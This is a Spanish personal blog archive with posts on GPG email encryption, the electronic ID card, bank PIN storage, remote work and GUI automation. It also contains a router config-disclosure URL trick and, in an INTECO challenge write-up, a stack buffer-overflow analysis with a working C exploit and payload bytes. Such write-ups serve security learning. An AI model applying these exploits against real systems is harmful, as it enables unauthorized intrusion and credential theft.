Redes Sociales

jueves, 20 de febrero de 2014

Cifrado de correos electrónicos con GPG (1/2)

Voy a aprovechar un trozo del tema 9 del curso de seguridad de la Hacker High School, de la que soy traductor, para poner en contexto lo que es PGP, las claves públicas y privadas, MIME y S/MIME, de cara a luego a hacer la práctica del funcionamiento de todos estos conceptos. Lo hago por que la verdad, me ha parecido una explicación muy amena, sencilla e interesante y creo que todos deberíamos SIEMPRE enviar nuestros correos cifrados y firmados y evitar así que ocurran cosas como lo de la NSA. Ahí va:

PGP viene de Pretty Good Privacy (En castellano, Bastante Buena Privacidad) y fue desarrollado por Phil Zimmermann. Es posible que buscando por internet nos encontremos con la versión de código abierto llamada GPG (GNU Privacy Guard). GPG esta disponible gratis para muchas plataformas, y solo usa algoritmos abiertos y públicamente evaluados.

GPG trabaja sobre el principio de gestión de claves públicas y privadas, lo que significa que las claves tienen una parte PÚBLICA que se la puedes dar a cualquiera que quieras que te envíe un correo cifrado, y una parte PRIVADA que debes mantener en secreto, y que es la única forma de descifrar el mensaje que has recibido. Al conjunto de clave pública y privada se le llama par de claves, y generalmente es lo primero que generas cuando instalas GPG en una máquina. El par de claves está protegido por una contraseña de manera que puede no ser modificado por nadie más que por el dueño. Puede ser necesario alterar el par de claves cuando quieras cambiar las direcciones de correo que el par de claves soporta, o por si quieres hacer uso de otras funciones.

Dado que necesitas la clave pública de alguien a quien quieras enviar un mensaje cifrado, existen servidores como pgp.mit.edu donde puedes descargar la clave o claves públicas asociadas con una dirección de correo en concreto, así como subir tu propia clave pública. Es posible que las claves hayan expirado o que se pierdan las contraseñas privadas, de manera que siempre usa la última clave o incluso mejor, pide al destinatario de tu correo que te mande la suya y confirma y confirma el fingerprint (una especie de más corto).

MIME (Multi-Purpose Internet Mail Extensions) es un conjunto de extensiones del protocolo de correo SMTP (Simple Mail Transfer Protocol). MIME permite enviar como adjuntos diferentes tipos de contenidos tanto de datos como multimedia, audio, video, imágenes, ficheros comprimidos, y aplicaciones. La cabecera MIME se inserta al principio del correo electrónico y el cliente de correo del receptor usa esta información para determinar qué programa está asociado con el fichero adjunto. MIME por sí mismo no proporciona ningún tipo de seguridad a los correos o a los adjuntos.

S/MIME (Secure/Multipurpose Internet Mail Extensions) es un protocolo que añade las características de firma digital y cifrado a los ficheros adjuntados al mensaje mediante MIME. Usando firma digital, S/MIME consigue garantizar la autenticidad, integridad y no repudio del mensaje (“no repudio” significa que no puedes negar que lo hayas mandado tu). S/MIME proporciona privacidad y seguridad (usando el cifrado) a los correos que usen este protocolo.

Cuando consultas un servidor de claves, ¿Cómo puedes estar segur@ de que una clave pública de un destinatario de correo electrónico es realmente la suya y no ha sido subida por cualquier otra persona?. La solución a este problema es que estas claves pueden ser firmadas por terceras personas. Imagina que ya tienes la clave (pública) de alguien en quien confías, y que sabe quien es la persona a la que quieres mandar un correo electrónico. Esa otra persona puede firmar la clave pública, lo que significa que le añade un poco más de confianza a esa clave, dado que tu ya conoces a esta otra persona. Esto es conocido como confianza heredada. Por supuesto, también puedes encontrar otra forma de ponerte en contacto con el destinatario y pedirle que te mande su clave pública, o recibir la “huella” de la clave – la huella es un checksum de la clave que es fácil y rápida de verificar. En un servidor de claves, cada clave también tendrá un ID o identificador – que es otro checksum con el mismo objetivo.

Enviar un correo cifrado usando GPG. La mayor parte de los clientes de correo soportan extensiones que facilitan el manejo de claves y el cifrado de mensajes. Los mejor es comprobar de antemano si el destinatario de tu mensaje tiene una clave pública y obtenerla, ya sea de un servidor de claves, o del propio receptor del mensaje.

A continuación, escribe el correo electrónico como haces habitualmente (de nuevo recomendamos usar texto plano en vez de formato HTML), añade cualquier fichero adjunto que necesites y dile a tu cliente de correo que lo cifre y lo mande. Si decidiste firmar el correo, el cliente de correo habrá usado tu clave privada para firmar el mensaje primero, y a continuación habrá usado la clave pública de tu destinatario para cifrar el correo y todos los ficheros adjuntos. Si proteges tu par de claves con una contraseña(¡deberías!), tu cliente de correo te pedirá esa contraseña.

Recibir un correo cifrado usando GPG. Los correos cifrados con PGP contienen o bien un fichero adjunto marcado como GPG, o tienen un bloque de texto con una cabecera que le dice al cliente de correo que acaba de recibir un correo cifrado. El cliente de correo ahora accede a tu clave privada (posiblemente pidiéndote antes una contraseña) y descifra el mensaje y todos los adjuntos. Si el mensaje no fue cifrado con tu clave pública este descifrado simplemente fallará. Si el mensaje fue firmado por el emisor, la extensión (o plugin) GPG del cliente de correo usará la correspondiente clave pública para verificar la firma también. El plugin de GPG que utilices te alertará de cualquier problema que encuentre con las firmas o ficheros adjuntos, pero en general, una vez instalado, el uso de GPG es bastante fácil.

miércoles, 12 de febrero de 2014

La aventura sigue siendo usar el DNIe

El proceso de firmado con el DNI electrónico sigue siendo una pequeña pesadilla y por lo que veo, la web http://www.dnielectronico.es sigue pecando de poca claridad. Se explica, de primeras, todo el proceso de validación de los certificados, cuando lo que quiere el usuario de a pie es utilizarlo.

Esta muy bien intentar convencernos de que el DNIe es buenísimo y segurísimo pero lo que necesita el usuario es un "guia burros" que le indique paso a paso como utilizarlo.

Con un DNIe con los certificados recién renovados y un portátil con Windows 8 recién instalado, me propuse hacer funcionar el DNIe y poder así firmar documentos electrónicamente. Accedí a la página que recomendaba mi lector, un LTC31 de C3PO, la antes mencionada http://www.dnielectronico.es.

Me gustó que en la página de inicio hubiera una opción "Compruebe su DNI"... que por desgracia te lleva una página con mucho texto y muchas explicaciones pero nada clara a la hora de comprobar el funcionamiento del DNI. El enlace para la comprobación se encuentra al pie de la página y en mi caso, me llevó a una página de error del navegador:

Pues vaya... si que empezamos bien. Será entonces necesario instalar los drivers del lector. ¿Pero no venían ya incluidos en Windows 7 y 8?. No tardo mucho en encontrar que, ciertamente en Windows 7 y Windows 8 no hay que instalar los drivers del DNI electrónico... pero los certificados sí. Tras un rato de lectura por el portal, instalotodos los certificados habidos y por haber, y esto sigue sin funcionar. Hasta que leo un comentario "Instalar en su navegador el Certificado Raíz de la FNMT clase2 CA. Este paso es especialmente importante en el navegador Mozilla Firefox ya que no lo incorpora por defecto en el almacén de Autoridades". Leches, estoy usando Mozilla Firefox. Me paso a Internet Explorer y la página carga como la seda:

Bueno, ahora queremos firmar digitalmente un documento. Vamos a empezar haciendo la prueba de firma que nos recomienda el propio portal del DNI: https://av-dnie.cert.fnmt.es/compruebacert/firmar.action. Lo primero que nos avisan es que es necesario tener instalado Oracle Java. Vaya tan seguro como es el DNIe, es necesario tener instalado Java, el sumidero de seguridad más grande que tenemos hoy en día...

Una vez accedemos a este sitio ya con Java instalado, nos aparece un aviso indicándonos que se va a ejecutar un applet "de origen desconocido". Pues vaya... Y cuanto más lees, mejor: "esta aplicación se ejecutará con acceso restringido, lo que puede poner en peligro su computadora e información personal". Eso sí: "Active la casilla (de que acepta los riesgos) y haga clic en Ejecutar para iniciar la aplicación".

En fin, from lost to the river, hacemos clic y le damos a ejecutar. Nos sale otro aviso y le decimos que sí, que permitimos la ejecución del Applet de Java. Y por fin nos carga la aplicación de prueba. Nos sale una página bastante simple donde podemos poner un texto en la parte superior (y ojo, no poner nada en la parte inferior porque si no, fallará la firma).

Al darle al botón "Firmar Texto" se inicia una cadena de hasta 6 solicitudes de permiso a las cuales vamos respondiendo que si, que firmar, poniendo la contraseña (el PIN), dándole a permitir, que si, que lo que quiera:

Finalmente, si lo hemos hecho rápido (el Timeout parece muy corto en la aplicación), nos aparece nuestro texto firmado.

Que bien... ¿y tanto trabajo para esto?. Bueno, hasta ahora sólo hemos comprobado que funciona. Una vez que tenemos el DNIe activado, funcionar con él no debería ser muy difícil.

En el portal de www.usatudni.es nos muestran una lista de servicios on-line que se pueden (en teoría) hacer con el DNIe.

Por ejemplo voy a comprobar mi saldo de puntos del carnet de conducir y mis antecedentes (OMG) en https://sede.dgt.gob.es/es/tramites-y-multas/permiso-por-puntos/consulta-de-puntos/. Vamos a esa página y luego hacemos clic en "consulta de puntos con certificado". Automáticamente nos salta el DNIe:

Al darle a "Aceptar" no tenemos que hacer nada más. Ahí está soy un crack y tengo todos los puntos!. Me lo imaginaba pero no estaba nada seguro!.

Bueno, voy a poner un resumen de pasos para hacer funcionar el DNI electrónico en un Windows 8:

  1. Renovar la contraseña y los certificados del DNI tal y como se explica en esta página.
  2. Conectar el lector del DNI electrónico en el ordenador y meter el DNI en el lector.
  3. Windows 8 debería detectar el DNI automáticamente, le damos a "Aceptar".
  4. La luz del lector se pone verde, parpadea y al final se pone roja... lo cual da bastante mala espina.
  5. USAR EL INTERNET EXPLORER. Para otras cosas no lo recomendaría y de hecho, importante, quitarle antes cualquier rastro de spyware o adware que tenga, no queremos que nuestro PIN o contraseña del DNI se lo lleven los rusos...
  6. Vamos a ésta página y seguimos lo pasos que he explicado antes.

En próximas entradas explicaré como acceder a otros servicios y veremos que otros muchos que deberían funcionar, lo cierto es que no van.

Saludos!

viernes, 7 de febrero de 2014

Sabadell Security

El pasado mes de Junio recibí completamente por sorpresa una tarjeta de débito del Banco Sabadell, con el que tengo una cuenta abierta desde hace años. WTF...!! (En español: que coj...!!) - pensé. Pero si mi tarjeta es válida hasta Marzo de 2014!!. Al llamar una amable señorita que intento convencer que mi vida dependía de que activara esa tarjeta: Que es mucho mas segura, que tiene tecnología Contactless, que es mucho mas bonita... y azul!!... En fin.

Por supuesto que no he activado la tarjeta hasta hoy, porque se acerca el mes de Marzo y empiezo a temer por mi vida.

El caso es que al activarla (desde mi ordenador) me he llevado la sorpresa de que el nuevo número PIN, asignado a la nueva tarjeta... es el mismo que el antiguo PIN!!!

Como podemos ver en la imagen, el último paso antes de activar la tarjeta es mostrar, bajo esos asteriscos tan coloridos el nuevo PIN:

¿Que por qué no quiero usar mi antiguo PIN?. Pero si es lo más fácil, cómodo y seguro!!!. Si así no me tengo que aprender engorrosos números de 4 cifras sin ningún sentido!!.

Pues la cosa es muy simple. Es igual que cuando se nos olvida una contraseña y pedimos recordarla, nunca nos deberían mandar la antigua, ya que esto significa que esta contraseña se encuentra almacenada en algún fichero sin "hashear". En este caso mi PIN se encuentra en alguna base de datos del banco sin cifrar o con un cifrado reversible.

Eso en sí no tiene por que ser malo. Al fin y al cabo, el sistema tiene que poder comparar que el PIN introducido en el cajero es el mismo que el de la tarjeta (cosa que no se realiza en el cajero, que no es más que un terminal tonto, que lo único que hace es enviar los números de la tarjeta y el PIN a los servidores del banco, que es donde realmente se hace el "macheo").

El problema es que igual que el sistema ha obtenido los dígitos de la tarjeta de un sistema y el PIN de otra y los ha comparado con lo que le llega del cajero, una persona con acceso al sistema (y conocimientos) podría hacer lo mismo. Y no mola. No me mola que alguien pueda conocer todos los datos de mi tarjeta incluido el código PIN.

El problema que si en vez de almacenar el pin en claro (o con un cifrado reversible) se almacenaran los hashes SHA-512 del PIN de la tarjeta, como se hace en el /etc/shadow de UNIX/Linux, daría igual. La debilidad del sistema es que hay 10.000 pines y solo 10.000, del 0000 al 9999 y no hay más. Cada uno con un hash único. Por tanto, conociendo esos 10.000 hashes estamos en las mismas.

Así que estamos en las mismas. Hasta que no aumentemos la longitud del PIN hasta por lo menos 12 números (aún así "solo" habría un billón de combinaciones). Lo ideal sería que los cajeros tuvieran un teclado alfanumérico y cada uno tuviera su contraseña alfanumérica de longitud variable de acceso a la tarjeta. ¿Demasiado dificil para el común de los mortales?. Yo creo que no.

Mientras tanto, deberemos seguir confiando en la seguridad física, electrónica y profesional de los bancos.

miércoles, 25 de diciembre de 2013

Ideas para gestionar equipos de trabajo en remoto

después de un tiempo sin publicar por fin vuelvo a tener tiempo para dedicarle un poco al blog. Y lo voy a hacer hablando de un tema que tengo ahora candente: el trabajo en remoto o tele trabajo.

A lo largo de mi carrera, que comienza a ser dilatada y habiendo pasado por unas cuantas empresas, he tenido en dos ocasiones (prolongadas) que tener que trabajar en remoto. Desde casa, para ser más precisos.

En el primer periodo, que duró más o menos un año, se trataba de hacer tareas de mantenimiento de sistemas. Hablo de sistemas Solaris, HP-UX, Oracle, etc. Levantar maquinas, bases de datos, hacer backups, etc. Vamos, lo típico. En el segundo periodo, mas corto, de apenas 6 meses, las tareas a realizar eran un poco más CPPR. De consultoría, vamos.

Fueron dos periodos muy diferentes, pero aprendí varios cosas, comunes a ambos periodos, que creo que me dan cierto bagaje como para opinar en la problemática que tanto nos encontramos en la empresa española. Y es más, dado que en ambos peridos he tenido a mi cargo equipos de trabajo (aunque mas bien pequeños, de 4 y 3 personas respectivamente), creo poder hacerlo desde el punto de vista del empleador, cosa mas complicada de conseguir:

  • Primero. El trabajo en remoto es posible. Y no solo eso, es muy rentable para la empresa. A los consabidos ahorros en internet, luz, mantenimiento de localese, etc, hay que tener en cuenta que el trabajador, si le gusta su trabajo, te va a hacer muchas más horas de trabajo que si tuviera que ir físicamente a un centro de trabajo, con un horario al que probablemente no se adapte y perdiendo parte de su vida en transporte.
  • Segundo. Ya lo he dicho (y subrayado) en el primer punto. Para conseguir los mejores resultados, es importante que al trabajador le guste su trabajo. Si se trata de un trabajo rutinario, también es posible conseguir buenos resultados con el teletrabajo, pero será más dificil y dependerá mucho más de se la persona esta comprometida con su trabajo o no.
  • Tercero. Y esto es importante. El teletrabajo no es para todo el mundo. Hay gente que se implica con su trabajo y gente que no. Por supuesto, todos los trabajos tienen su parte tediosa y hay gente que si no tienen a alguien detrás, presionando, no son capaces de trabajar. Eso es algo a tener en cuenta y por eso es importante comenzar siempre con un periodo de prueba. Si tras ese periodo de prueba, vemos que el trabajador te curra y puedes confiar en él/ella, podrás hacerlo casi siempre en el futuro.
  • Cuarto. Es importante también darle al trabajador unos objetivos. Objetivos diarios o semanales. Y que el trabajador amolde un poco (un poco, solo) su horario para tener el trabajo hecho al final del dia o semana. Esto lleva cierta carga extra de gestion, pero tampoco es algo exagerado. Y claro esto implica también que no todos los proyectos son susceptibles de permitir el trabajen remoto.
  • Quinto. También hay que hacer ver al trabajador que, aunque se esta trabajando en remoto, forman parte de un equipo. Hay que tener reuniones periodicas con el equipo, tanto online (skype...) como presenciales. Es un requisito. El equipo se debe conocer.
  • Sexto. El exceso de control no es malo. Al menos los primeros meses hasta conocernos. Es bueno que el trabajador sepa que tiene alguien detrás, para apoyar y controlar. Posteriormente es posible que ese control no sea necesario.

Estas son solo algunas ideas que me vienen a la cabeza, pero con un poco de control, trabajo por objetivos, un tiempo de prueba y un trabajo que agrade al trabajador, es perfectamente factible (y rentable). Algunos de los puntos anteriormente comentados han quedado demostrados por estudios realizados en EEUU. En este estudio se observó que los empleados que trabajan de forma remota muestran un nivel de compromiso mayor que el de los empleados que trabajan desde la oficina. Lo que no indica es si los trabajadores que estaban en sus casas hacian un trabajo que les gustaba o no.

También se muestra que el nivel más alto compromiso lo tienen los empleados que llevan poco tiempo trabajando en remoto o trabajan de forma remota menos de 20% del tiempo. El trabajador se amolda y para eso es necesario un supervisor que se encargue de su control.

En este otro estudio se menciona que es mas facil retener y atraer a empleados de alto potencial si se les permite trabajar en remoto. Es lógico.

Entonces ¿por que tanto miedo a destapar la lata?. Mi opinión es por una falta de confianza en el trabajador. Debo de decir que entiendo los miedos del empresario. En una sociedad como la española en que el idolatrado es el que menos trabaja y el que mas engaña, los que trabajan en remoto son como superheroes que han conseguido engañar a su empresa. Hay que rechazar esa idea. En paises del norte de europa, EEUU, es perfectamente normal el "Home working" y estos no implica una reduccion de la eficiencia del trabajador. además, cada persona es diferente y mientras hay gente que vale para trabajar en remoto, hay otra que no vale.

.

Si quieres reducir los costes y tienes un proyecto de larga duracion, que permita el trabajo por objetivos, no tienes tanto que perder, sobre todo si pones en ese proyecto a gente de confianza. Yo lo haría.

sábado, 16 de noviembre de 2013

Automatización de raton en diferentes arquitecturas

Todos tenemos nuestros hobbies fuera de la informática. Y uno de los mios es la genealogía. Me encanta rebuscar entre documentos que tienen 400 años en busca de un misero dato que en el fondo no nos dice nada.

Para los que no sepáis cómo es este mundo. Básicamente consiste en pasarse múltiples horas hojeando los libros de bautismos y matrimonios que los curas de las iglesias iban escribiendo. Por suerte muchos de estos libros han sido escaneados y esos valiosos documentos de 400 años pueden mantenerse a salvo de incautos como yo.

Entrando ya en materia, el problema que tenía con la aplicación donde se almancenan esas copias escaneadas de los libros es que:

  • a) La web es lenta
  • b) Sólo deja descargarse hojas sueltas
  • c) Es necesario revisar a veces libros de 600 páginas, folio a folio.

Estas características hacen el trabajo del genealogista, ya de por si muy pesado, aún más tedioso.

Como soy informático y me gusta mucho el tema de la automatización de tareas me planteé la forma de automatizar al descarga de libros completos, pagina a página para, una vez descargados, unirlos en un PDF.

El primer problema que encontré fue la aplicación que utilizaban era embebida y solo tenia un frontend en flash. No me valia pues Python.

Me puse a buscar un lenguaje de programacion que me permitiera hacer clicks en posiciones de la pantalla, y encontre aplicaciones como Automouse o autoclick que permiten hacer clicks en posiciones de pantalla en concreto, sin embargo no me valia, necesitaba que se metiera texto cuando lo necesitaba y que tuviera variables que crecieran donde se alojara por ejemplo la página que estaba en ese momento descargándome.

Así conocí AutoIT, un lenguaje de scripting que me permitía hacer todo lo que quería desde Windows.

Con comandos como MouseClick("left",75,43) que me llevaba a la posición 75,43 de la pantalla y me hacia click con el botón izquierdo. Y comandos como InputBox("Titulo") que me permitía guardar en variable lo que escribiera el usuario. Así saque este script:

Este script en concreto, detecta si el directorio donde se va a guardar las imagenes existe o no, se adapta a los libros automaticamente, se recupera de errores y al final convierte las imagenes en PDF.

Una vez conocí bien AutoIT lo he utilizado en el trabajo para automatizar tareas repetitivas. Eso lo contaré en otras entrada.

Recientemente en casa me di cuenta que mientras descarga libros no puedes hacer nada más en el equipo (la aplicación mueve el raton cada pocos segundos) durante un par de horas, a no ser que tuviera máquinas virtuales donde poder correr el script.

Como tenia a mano un linux en otra máquina pense si existiría AutoIT para Linux. La respuesta fue negativa. Pero si encontré algo parecido y conocido como xdotool

Aunque aún no la he estudiado en profundidad, tiene aspecto de permitirme hacer todo lo que he podido hacer con AutoIT. A diferencia de AutoIT, que es un lenguaje de scripting, xdotool es una aplicación que admite una serie de parametros o comandos y que debe ser lanzado de forma repetitiva desde un script BASH. Para hacer muchas otras tareas que hace autoIT, nos tenemos que basar en los comandos de Linux desde linea de comandos. En cualquier caso no me costó mucho conseguir algo parecido a lo que tenia hecho en AutoIT en WIndows:


‎#!/bin/bash

PAGINAS=421
DIRECTORY=/home/lmartin/Genealogia
PUEBLO=MARAZOLEJA
C=197
mkdir $DIRECTORY/$PUEBLO 2>/dev/null

xdotool sleep 3 

while [ $C -lt $PAGINAS ]
do

#ESPERO 10SG A QUE SE CARGUE LA IMAGEN
xdotool sleep 10 

#LE DOY A GUARDAR IMAGEN
xdotool mousemove 1218 565 click 1

#ESPERAMOS 10SG A QUE SE GUARDE EN DISCO
xdotool sleep 10 

mv /home/lmartin/Descargas/record-image.jpg $DIRECTORY/$PUEBLO/$C.jpg

#HAGO CLICK EN "SIGUIENTE IMAGEN":
xdotool mousemove 208 235 click 1

((C++))
done

xdotool esta disponible para Debian y Ubuntu, FreeBSD, Fedora, Mac OS X y OpenSUSE.

Y una vez hecho me dije y por que no hacerlo en el IPAD, en el fondo es un UNIX... Si, es verdad pero lo que me daba cuenta eran las fuertes restricciones que aplica Apple al desarrollo de Apps. De hecho no encontré ninguna App comercial que hiciera algo similar. En esta web recomendaban hacerlo via VNC desde el PC. No me parecia una solucion factible. Finalmente encontré en Cydia una App de pago llamada AutoTouch que permite grabar una serie de taps y sus posiciones y luego reproducir esa secuencia de movimiento, a la par que genera código LUA que luego podemos modificar.

Autotouch, una App muy recomendable para automatizar miles de tareas con nuestro Ipad, aunque eso sí, es necesario hacer jailbreak a nuestros dispositivo iOS. Cabe mecionar que también esta disponible para Android, aunque es posible que para Android haya otro tipo de Apps de características similares.

martes, 5 de noviembre de 2013

La importancia de la actualizarse, Andres

Desde hace unos dias venia notando que la conexión a internet me iba lenta. Por mas que desactivaba servicios y herramientas como el utorrent, la cosa no iba del todo bien.

Me ha llamado la atencion ver esta mañana en los logs del router que el mes pasado descargue 40Gb.... y subi 55Gb!!. Esto puede ser en cualquier caso a causa del uTorrent, pero en todo caso me sigue pareciendo un uso excesivo de Internet.

A raiz de esta ingente cantidad de datos subida a internet desde mi red, me puse a mirar los logs. Cual fue mi sorpresa encontrar mensajes de indicaban a grandes rasgos (no tengo el mensaje original) que me estaban accediendo desde las IPs 46.174.199.10 (Rusia) y 113.200.214.43 (China) entre otras a un mismo puerto (el 64662) de mi portatil:

(...)
[LAN access from remote] from 46.174.199.10:22342 to
192.168.XX.XX:64662, Tuesday, Nov 05,2013 11:16:22
[LAN access from remote] from 113.200.214.43:33121 to
192.168.XX.XX:64662, Tuesday, Nov 05,2013 11:14:01
(...)

¡Bicho!, pensé y seguro que no ando desencaminado. El caso es que al mirar los puertos abiertos dicho puerto no aparece en mi portatil, lo cual no quiere decir nada, puede ser que tenga un bicho que se conecta con un servidor C&C cada X tiempo.

Lo primero que he mirado ha sido a ver si el router (Un NetGear N-150 WR1000) tenia alguna vulnerabilidad y Google me ha respondido que si:

http://www.exploit-db.com/exploits/24916/

Según nos comentan aqui en los NETGEAR N-150 WNR100v3 con firmware anterior a 1.0.2.60 se puede conseguir el fichero de configuración del router accediendo a la URL indicada en el articulo:

http:///NETGEAR_fwpt.cfg?.jpg

...y ciertamente se descarga un fichero cifrado con extension .cfg:

Como indica el articulo, el fichero esta cifrado. Pero dan una "solución" para eso: Un programita en Python.

Al pasarle el programita en python, con alguna pequeña modificación necesaria, entre toda la morralla de la configuración del NetGear, la contraseña aparece en limpio la contraseña de la interfaz web del router:

La solución ha sido, por supuesto, actualizar el firmaware del Router, cosa que he hecho, desde la versión 1.0.2.18 a la 1.0.2.62 (tiene sus años el aparato).

También he cambiado la contraseña del router y de la red wifi

Lo cierto es que despues de adoptar estas medidas:

  1. Me va mejor la red
  2. Me va mejor internet
  3. Han dejado de aparecer esos mensajes que mostraba más arriba.

En cualquier caso, dicho router no esta abierto al exterior, por lo que es poco probable que me hayan sacado la contraseña del router de esta manera. Tiene más bien aspecto de que uno de mis equipos ha sido infectado.

Ahora solo me queda revisar todos los equipos y seguir monitorizando la red. O sea lo de siempre!.

La verdad es que constantemente se recomienda actualizar todo el software y el sistema operativo a la ultima version, pero nos olvidamos muchas veces de que por los routers pasa toda la información y que tambien tenemos que actualizarlos y hacerles un mantenimiento...

lunes, 28 de octubre de 2013

Respuestas a las pruebas de INTECO (2 de 2)

El pasado mes de Julio comencé a explicar mis respuestas a las pruebas de INTECO del pasado mes de Julio, sin embargo me dejé la segunda parte, que publico ahora:

Análisis de vulnerabilidades

La tercera prueba tenía que ver con un buffer overflow. Mostraban un trozo de código en ensamblador y preguntaban:

Pregunta 1:Explicar detalladamente, indicando direcciones de memoria, que sucede cuando se ingresan demasiados caracteres.[30%]

Respuesta:

El problema que ocurre aquí es que no se esta usando espacio de direccionamiento de datos para almacenar el nombre, se r eservan, en cambio, 28hex, o sea 40 bytes de espacio en la pila.

Como se ve en la instrucción 00401293, se está haciendo un SUB ESP,28, o sea reduciendo el tope de la pila (que crece hacia abajo) para que ahí se almacene el nombre.

Con valores concretos:

Al iniciar la función, el top de la pila tiene la instrucción desde la que ha sido llamada (004012F4). En ese momento ESP es 22FF5C y al hacer el PUSH EBP pasa a ser 0022FF58.

Con estos valores, el programa puede volver a la función que lo referencio al ejecutar el comando final RETN

00401290  /$  55            PUSH EBP
00401291  |.  89E5          MOV EBP,ESP
00401293  |.  83EC 28       SUB ESP,28

Al restarle 28hex ESP tiene el valor 22FF30, LOCAL.10 resuta ser la misma dirección: 22FF30, LOCAL.6 es 22FF40 y LOCAL.9 es 22FF34. Deberiamos poder meter un nombre de 40 caracteres, pero como se esta almacenando en LOCAL.6, en realidad se tienen solo 24 caracteres. Y ni eso porque siempre hay que contar el 0 final con el que acaban las cadenas en C. Asi pues 23 caracteres máximo.

00401296  |.  C70424 003040 MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 ; /format => "Introduce tu nombre: "
0040129D  |.  E8 9E050000   CALL <JMP.&msvcrt.printf>                ; \MSVCRT.printf
004012A2  |.  8D45 E8       LEA EAX,[LOCAL.6]
004012A5  |.  894424 04     MOV DWORD PTR SS:[LOCAL.9],EAX           ; /<%s> => OFFSET LOCAL.6
004012A9  |.  C70424 163040 MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 ; |format => "%s"
004012B0  |.  E8 7B050000   CALL <JMP.&msvcrt.scanf>                 ; \MSVCRT.scanf
004012B5  |.  8D45 E8       LEA EAX,[LOCAL.6]
004012B8  |.  894424 04     MOV DWORD PTR SS:[LOCAL.9],EAX           ; /<%s> => OFFSET LOCAL.6
004012BC  |.  C70424 193040 MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 ; |format => "Te llamas %s
"
004012C3  |.  E8 78050000   CALL <JMP.&msvcrt.printf>                ; \MSVCRT.printf
004012C8  |.  C9            LEAVE
004012C9  \.  C3            RETN



Pregunta 2: ¿Qué sucede cuando el nombre ocupa 28 caracteres?[20%]

Si metemos 28 caracteres, nos cargaremos el valor de EBP y añadiremos un 0 al final de la dirección de retorno (debido al 0 final de las cadenas en C), haciendo que la dirección de retorno sea a la 00401200 en vez de a la 004012F4 como debería ser. De esta manera al ejecución continua en un punto completamente diferente.




Pregunta 3: ¿Es posible usar la vulnerabilidad para ejecutar código en el sistema? Si es posible, muestra el código fuente de un programa que lo explote.[50%]

Dado que es un ejecutable Windows, es posible hacerlo desde la misma línea de comandos. Se crea un fichero de texto con 28 caracteres visibles, por ejemplo “1234567890123456789012345678” y a continuación se modifica en hexadecimal para añadirle la dirección de memoria a la que queremos que salte, por ejemplo 0x00, 0x40, 0x12, 0x96. De esta manera al ejecutar:

C:\>type exploit.txt | vulnerabilities.exe

En vez de volver a la direccion de retorno adecuada, saltará a la que le hemos indicado: 00401296 que hará que vuelva a preguntar el nombre una y otra vez.

Si lo que se desea es un programa, en este ejemplo saltamos la ejecución a 0022FF60, que es la siguiente posición en la pila y luego empezamos a meter código de nuestra elección:

#include 
int main()
{
char mona[] =             "\x34\x33\32\x31\x38\x37\x36\x35\x32\x31\x30\x39\x36\x35\x34\x33\x30\x39\x38\x37\x30\x30\x30\x30\x30\x30\x30\x30\x00\x22\xFF\x60\XC7\x04\x24\x00\x22\xFF\x30\xE8\x9E\x05\x00\x00";

FILE *file; 
file = fopen("exploit.txt","w"); 
fputs(mona,file);
fclose(file); 

 system(“type exploit.txt | vulnerabilities.exe ”);

}

El codigo que he metido despues ha sido una copia de lo encontrado en las líneas 00401296:

MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 
CALL    

…pero vamos ya podíamos meter lo que quisiéramos.




Para la cuarta prueba, daban un fichero "dd" y hacian las siguientes preguntas. Por desgracia para esta prueba no tuve tiempo y tuve que dejarlo en blanco:

Análisis forense

Pregunta 1: Indicar si la máquina está comprometida y en caso afirmativo con qué tipo de código malicioso, aportando las pruebas encontradas del mismo. [15%]

Pregunta 2: ¿Tiene procesos, bibliotecas o módulos ocultos en el sistema?. En caso afirmativo, indicar cuales con todos los detalles de los mismos y los métodos de detección utilizados. [30%]

Pregunta 3: ¿Existe algún tipo de indicio de comunicaciones en el sistema que permitan el control remoto del mismo? En caso afirmativo explicar detalladamente. (direcciones IP, puertos, procesos, ruta de los ficheros implicados, comandos ejecutados, privilegios en el sistema, etc.)[20%]

Pregunta 4: Extraiga los ficheros maliciosos identificados en el sistema e indique los hash (SHA256) de los mismos y la ruta donde están ubicados en el disco duro de la máquina.[20%]

Pregunta 5: Explicar cómo tiene persistencia en el sistema, aportando las evidencias encontradas.[15%]